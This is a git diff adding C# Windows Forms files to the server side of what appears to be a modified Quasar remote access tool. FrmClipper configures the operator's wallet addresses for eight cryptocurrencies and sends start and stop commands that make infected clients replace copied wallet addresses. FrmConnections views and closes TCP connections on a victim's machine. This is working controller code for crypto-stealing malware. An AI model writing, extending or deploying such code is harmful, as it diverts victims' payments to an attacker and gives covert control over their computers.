a/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.Designer.cs new file mode 100755 index 0000000..640d4aa --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.Designer.cs @@ -0,0 +1,266 @@ +namespace Quasar.Server.Forms +{ + partial class FrmClipper + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.lblTitle = new System.Windows.Forms.Label(); + this.lblBTC = new System.Windows.Forms.Label(); + this.txtBTC = new System.Windows.Forms.TextBox(); + this.lblLTC = new System.Windows.Forms.Label(); + this.txtLTC = new System.Windows.Forms.TextBox(); + this.lblETH = new System.Windows.Forms.Label(); + this.txtETH = new System.Windows.Forms.TextBox(); + this.lblXMR = new System.Windows.Forms.Label(); + this.txtXMR = new System.Windows.Forms.TextBox(); + this.lblSOL = new System.Windows.Forms.Label(); + this.txtSOL = new System.Windows.Forms.TextBox(); + this.lblXRP = new System.Windows.Forms.Label(); + this.txtXRP = new System.Windows.Forms.TextBox(); + this.lblTRX = new System.Windows.Forms.Label(); + this.txtTRX = new System.Windows.Forms.TextBox(); + this.lblBCH = new System.Windows.Forms.Label(); + this.txtBCH = new System.Windows.Forms.TextBox(); + this.btnStart = new System.Windows.Forms.Button(); + this.btnStop = new System.Windows.Forms.Button(); + this.btnCancel = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(12, 9); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(350, 15); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Configure your wallet addresses for clipboard replacement:"; + // + // lblBTC + // + this.lblBTC.AutoSize = true; + this.lblBTC.Location = new System.Drawing.Point(12, 40); + this.lblBTC.Name = "lblBTC"; + this.lblBTC.Size = new System.Drawing.Size(31, 15); + this.lblBTC.TabIndex = 1; + this.lblBTC.Text = "BTC:"; + // + // txtBTC + // + this.txtBTC.Location = new System.Drawing.Point(60, 37); + this.txtBTC.Name = "txtBTC"; + this.txtBTC.Size = new System.Drawing.Size(400, 23); + this.txtBTC.TabIndex = 2; + // + // lblLTC + // + this.lblLTC.AutoSize = true; + this.lblLTC.Location = new System.Drawing.Point(12, 69); + this.lblLTC.Name = "lblLTC"; + this.lblLTC.Size = new System.Drawing.Size(29, 15); + this.lblLTC.TabIndex = 3; + this.lblLTC.Text = "LTC:"; + // + // txtLTC + // + this.txtLTC.Location = new System.Drawing.Point(60, 66); + this.txtLTC.Name = "txtLTC"; + this.txtLTC.Size = new System.Drawing.Size(400, 23); + this.txtLTC.TabIndex = 4; + // + // lblETH + // + this.lblETH.AutoSize = true; + this.lblETH.Location = new System.Drawing.Point(12, 98); + this.lblETH.Name = "lblETH"; + this.lblETH.Size = new System.Drawing.Size(32, 15); + this.lblETH.TabIndex = 5; + this.lblETH.Text = "ETH:"; + // + // txtETH + // + this.txtETH.Location = new System.Drawing.Point(60, 95); + this.txtETH.Name = "txtETH"; + this.txtETH.Size = new System.Drawing.Size(400, 23); + this.txtETH.TabIndex = 6; + // + // lblXMR + // + this.lblXMR.AutoSize = true; + this.lblXMR.Location = new System.Drawing.Point(12, 127); + this.lblXMR.Name = "lblXMR"; + this.lblXMR.Size = new System.Drawing.Size(36, 15); + this.lblXMR.TabIndex = 7; + this.lblXMR.Text = "XMR:"; + // + // txtXMR + // + this.txtXMR.Location = new System.Drawing.Point(60, 124); + this.txtXMR.Name = "txtXMR"; + this.txtXMR.Size = new System.Drawing.Size(400, 23); + this.txtXMR.TabIndex = 8; + // + // lblSOL + // + this.lblSOL.AutoSize = true; + this.lblSOL.Location = new System.Drawing.Point(12, 156); + this.lblSOL.Name = "lblSOL"; + this.lblSOL.Size = new System.Drawing.Size(32, 15); + this.lblSOL.TabIndex = 9; + this.lblSOL.Text = "SOL:"; + // + // txtSOL + // + this.txtSOL.Location = new System.Drawing.Point(60, 153); + this.txtSOL.Name = "txtSOL"; + this.txtSOL.Size = new System.Drawing.Size(400, 23); + this.txtSOL.TabIndex = 10; + // + // lblXRP + // + this.lblXRP.AutoSize = true; + this.lblXRP.Location = new System.Drawing.Point(12, 185); + this.lblXRP.Name = "lblXRP"; + this.lblXRP.Size = new System.Drawing.Size(32, 15); + this.lblXRP.TabIndex = 11; + this.lblXRP.Text = "XRP:"; + // + // txtXRP + // + this.txtXRP.Location = new System.Drawing.Point(60, 182); + this.txtXRP.Name = "txtXRP"; + this.txtXRP.Size = new System.Drawing.Size(400, 23); + this.txtXRP.TabIndex = 12; + // + // lblTRX + // + this.lblTRX.AutoSize = true; + this.lblTRX.Location = new System.Drawing.Point(12, 214); + this.lblTRX.Name = "lblTRX"; + this.lblTRX.Size = new System.Drawing.Size(32, 15); + this.lblTRX.TabIndex = 13; + this.lblTRX.Text = "TRX:"; + // + // txtTRX + // + this.txtTRX.Location = new System.Drawing.Point(60, 211); + this.txtTRX.Name = "txtTRX"; + this.txtTRX.Size = new System.Drawing.Size(400, 23); + this.txtTRX.TabIndex = 14; + // + // lblBCH + // + this.lblBCH.AutoSize = true; + this.lblBCH.Location = new System.Drawing.Point(12, 243); + this.lblBCH.Name = "lblBCH"; + this.lblBCH.Size = new System.Drawing.Size(34, 15); + this.lblBCH.TabIndex = 15; + this.lblBCH.Text = "BCH:"; + // + // txtBCH + // + this.txtBCH.Location = new System.Drawing.Point(60, 240); + this.txtBCH.Name = "txtBCH"; + this.txtBCH.Size = new System.Drawing.Size(400, 23); + this.txtBCH.TabIndex = 16; + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(220, 280); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(75, 30); + this.btnStart.TabIndex = 17; + this.btnStart.Text = "Start"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnStop + // + this.btnStop.Location = new System.Drawing.Point(301, 280); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(75, 30); + this.btnStop.TabIndex = 18; + this.btnStop.Text = "Stop"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // btnCancel + // + this.btnCancel.Location = new System.Drawing.Point(382, 280); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(75, 30); + this.btnCancel.TabIndex = 19; + this.btnCancel.Text = "Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // FrmClipper + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(474, 322); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.btnStop); + this.Controls.Add(this.btnStart); + this.Controls.Add(this.txtBCH); + this.Controls.Add(this.lblBCH); + this.Controls.Add(this.txtTRX); + this.Controls.Add(this.lblTRX); + this.Controls.Add(this.txtXRP); + this.Controls.Add(this.lblXRP); + this.Controls.Add(this.txtSOL); + this.Controls.Add(this.lblSOL); + this.Controls.Add(this.txtXMR); + this.Controls.Add(this.lblXMR); + this.Controls.Add(this.txtETH); + this.Controls.Add(this.lblETH); + this.Controls.Add(this.txtLTC); + this.Controls.Add(this.lblLTC); + this.Controls.Add(this.txtBTC); + this.Controls.Add(this.lblBTC); + this.Controls.Add(this.lblTitle); + this.Font = new System.Drawing.Font("Segoe UI", 9F); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmClipper"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Crypto Clipper"; + this.Load += new System.EventHandler(this.FrmClipper_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblBTC; + private System.Windows.Forms.TextBox txtBTC; + private System.Windows.Forms.Label lblLTC; + private System.Windows.Forms.TextBox txtLTC; + private System.Windows.Forms.Label lblETH; + private System.Windows.Forms.TextBox txtETH; + private System.Windows.Forms.Label lblXMR; + private System.Windows.Forms.TextBox txtXMR; + private System.Windows.Forms.Label lblSOL; + private System.Windows.Forms.TextBox txtSOL; + private System.Windows.Forms.Label lblXRP; + private System.Windows.Forms.TextBox txtXRP; + private System.Windows.Forms.Label lblTRX; + private System.Windows.Forms.TextBox txtTRX; + private System.Windows.Forms.Label lblBCH; + private System.Windows.Forms.TextBox txtBCH; + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.Button btnCancel; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.cs new file mode 100755 index 0000000..11a4704 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmClipper.cs @@ -0,0 +1,104 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmClipper : Form + { + private readonly Client[] _clients; + + public FrmClipper(Client[] clients) + { + _clients = clients; + InitializeComponent(); + } + + private void FrmClipper_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"Crypto Clipper - {_clients.Length} Client(s)"; + + // Load saved wallet addresses + txtBTC.Text = Properties.Settings.Default.ClipperBTC; + txtLTC.Text = Properties.Settings.Default.ClipperLTC; + txtETH.Text = Properties.Settings.Default.ClipperETH; + txtXMR.Text = Properties.Settings.Default.ClipperXMR; + txtSOL.Text = Properties.Settings.Default.ClipperSOL; + txtXRP.Text = Properties.Settings.Default.ClipperXRP; + txtTRX.Text = Properties.Settings.Default.ClipperTRX; + txtBCH.Text = Properties.Settings.Default.ClipperBCH; + } + + private void btnStart_Click(object sender, EventArgs e) + { + var walletAddresses = new Dictionary(); + + if (!string.IsNullOrWhiteSpace(txtBTC.Text)) + walletAddresses["BTC"] = txtBTC.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtLTC.Text)) + walletAddresses["LTC"] = txtLTC.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtETH.Text)) + walletAddresses["ETH"] = txtETH.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtXMR.Text)) + walletAddresses["XMR"] = txtXMR.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtSOL.Text)) + walletAddresses["SOL"] = txtSOL.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtXRP.Text)) + walletAddresses["XRP"] = txtXRP.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtTRX.Text)) + walletAddresses["TRX"] = txtTRX.Text.Trim(); + if (!string.IsNullOrWhiteSpace(txtBCH.Text)) + walletAddresses["BCH"] = txtBCH.Text.Trim(); + + if (walletAddresses.Count == 0) + { + MessageBox.Show("Please enter at least one wallet address.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + // Save wallet addresses + Properties.Settings.Default.ClipperBTC = txtBTC.Text.Trim(); + Properties.Settings.Default.ClipperLTC = txtLTC.Text.Trim(); + Properties.Settings.Default.ClipperETH = txtETH.Text.Trim(); + Properties.Settings.Default.ClipperXMR = txtXMR.Text.Trim(); + Properties.Settings.Default.ClipperSOL = txtSOL.Text.Trim(); + Properties.Settings.Default.ClipperXRP = txtXRP.Text.Trim(); + Properties.Settings.Default.ClipperTRX = txtTRX.Text.Trim(); + Properties.Settings.Default.ClipperBCH = txtBCH.Text.Trim(); + Properties.Settings.Default.Save(); + + foreach (Client client in _clients) + { + client.Send(new DoStartClipper { WalletAddresses = walletAddresses }); + } + + MessageBox.Show($"Clipper started on {_clients.Length} client(s).", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + this.Close(); + } + + private void btnStop_Click(object sender, EventArgs e) + { + foreach (Client client in _clients) + { + client.Send(new DoStopClipper()); + } + + MessageBox.Show($"Clipper stopped on {_clients.Length} client(s).", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + this.Close(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + this.Close(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.Designer.cs new file mode 100755 index 0000000..9d0cdb2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.Designer.cs @@ -0,0 +1,163 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmConnections + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmConnections)); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lstConnections = new Quasar.Server.Controls.AeroListView(); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStrip + // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(20, 20); + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.refreshToolStripMenuItem, + this.closeConnectionToolStripMenuItem}); + this.contextMenuStrip.Name = "contextMenuStrip"; + this.contextMenuStrip.Size = new System.Drawing.Size(198, 56); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(197, 26); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // closeConnectionToolStripMenuItem + // + this.closeConnectionToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield; + this.closeConnectionToolStripMenuItem.Name = "closeConnectionToolStripMenuItem"; + this.closeConnectionToolStripMenuItem.Size = new System.Drawing.Size(197, 26); + this.closeConnectionToolStripMenuItem.Text = "Close Connection"; + this.closeConnectionToolStripMenuItem.Click += new System.EventHandler(this.closeConnectionToolStripMenuItem_Click); + // + // lstConnections + // + this.lstConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader1, + this.columnHeader2, + this.columnHeader3, + this.columnHeader4, + this.columnHeader5, + this.columnHeader6}); + this.lstConnections.ContextMenuStrip = this.contextMenuStrip; + this.lstConnections.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstConnections.ForeColor = System.Drawing.Color.White; + this.lstConnections.FullRowSelect = true; + this.lstConnections.HideSelection = false; + this.lstConnections.Location = new System.Drawing.Point(0, 0); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstConnections.LvwColumnSorter = listViewColumnSorter1; + this.lstConnections.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.lstConnections.Name = "lstConnections"; + this.lstConnections.Size = new System.Drawing.Size(879, 526); + this.lstConnections.TabIndex = 0; + this.lstConnections.UseCompatibleStateImageBehavior = false; + this.lstConnections.View = System.Windows.Forms.View.Details; + this.lstConnections.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstConnections_ColumnClick); + // + // columnHeader1 + // + this.columnHeader1.Text = "Process"; + this.columnHeader1.Width = 179; + // + // columnHeader2 + // + this.columnHeader2.Text = "Local Address"; + this.columnHeader2.Width = 95; + // + // columnHeader3 + // + this.columnHeader3.Text = "Local Port"; + this.columnHeader3.Width = 75; + // + // columnHeader4 + // + this.columnHeader4.Text = "Remote Address"; + this.columnHeader4.Width = 95; + // + // columnHeader5 + // + this.columnHeader5.Text = "Remote Port"; + this.columnHeader5.Width = 75; + // + // columnHeader6 + // + this.columnHeader6.Text = "State"; + this.columnHeader6.Width = 85; + // + // FrmConnections + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(879, 526); + this.Controls.Add(this.lstConnections); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.Name = "FrmConnections"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Connections []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmConnections_FormClosing); + this.Load += new System.EventHandler(this.FrmConnections_Load); + this.contextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private Controls.AeroListView lstConnections; + private System.Windows.Forms.ColumnHeader columnHeader1; + private System.Windows.Forms.ColumnHeader columnHeader2; + private System.Windows.Forms.ColumnHeader columnHeader3; + private System.Windows.Forms.ColumnHeader columnHeader4; + private System.Windows.Forms.ColumnHeader columnHeader5; + private System.Windows.Forms.ColumnHeader columnHeader6; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.cs new file mode 100755 index 0000000..9ba4f2e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.cs @@ -0,0 +1,187 @@ +using System; +using System.Collections.Generic; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmConnections : Form + { + /// + /// The client which can be used for the connections manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly TcpConnectionsHandler _connectionsHandler; + + /// + /// + /// + private readonly Dictionary _groups = new Dictionary(); + + /// + /// Holds the opened connections manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new connections manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the connections manager form. + /// + /// Returns a new connections manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmConnections CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmConnections f = new FrmConnections(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the connections manager form. + public FrmConnections(Client client) + { + _connectClient = client; + _connectionsHandler = new TcpConnectionsHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the connections manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _connectionsHandler.ProgressChanged += TcpConnectionsChanged; + MessageHandler.Register(_connectionsHandler); + } + + /// + /// Unregisters the connections manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_connectionsHandler); + _connectionsHandler.ProgressChanged -= TcpConnectionsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Called whenever a TCP connection changed. + /// + /// The message handler which raised the event. + /// The current TCP connections of the client. + private void TcpConnectionsChanged(object sender, TcpConnection[] connections) + { + lstConnections.Items.Clear(); + + foreach (var con in connections) + { + string state = con.State.ToString(); + + ListViewItem lvi = new ListViewItem(new[] + { + con.ProcessName, con.LocalAddress, con.LocalPort.ToString(), + con.RemoteAddress, con.RemotePort.ToString(), state + }); + + // Highlight Quasar client connection in red + if (con.ProcessName.Equals("Client.exe", StringComparison.OrdinalIgnoreCase) || + con.ProcessName.Equals("Client", StringComparison.OrdinalIgnoreCase)) + { + lvi.ForeColor = System.Drawing.Color.Red; + } + + if (!_groups.ContainsKey(state)) + { + // create new group if not exists already + ListViewGroup g = new ListViewGroup(state, state); + lstConnections.Groups.Add(g); + _groups.Add(state, g); + } + + lvi.Group = lstConnections.Groups[state]; + lstConnections.Items.Add(lvi); + } + } + + private void FrmConnections_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Connections", _connectClient); + _connectionsHandler.RefreshTcpConnections(); + } + + private void FrmConnections_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + _connectionsHandler.RefreshTcpConnections(); + } + + private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e) + { + bool modified = false; + + foreach (ListViewItem lvi in lstConnections.SelectedItems) + { + _connectionsHandler.CloseTcpConnection(lvi.SubItems[1].Text, ushort.Parse(lvi.SubItems[2].Text), + lvi.SubItems[3].Text, ushort.Parse(lvi.SubItems[4].Text)); + modified = true; + } + + if (modified) + { + _connectionsHandler.RefreshTcpConnections(); + } + } + + private void lstConnections_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstConnections.LvwColumnSorter.NeedNumberCompare = (e.Column == 2 || e.Column == 4); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.resx new file mode 100755 index 0000000..b8bc596 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmConnections.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + 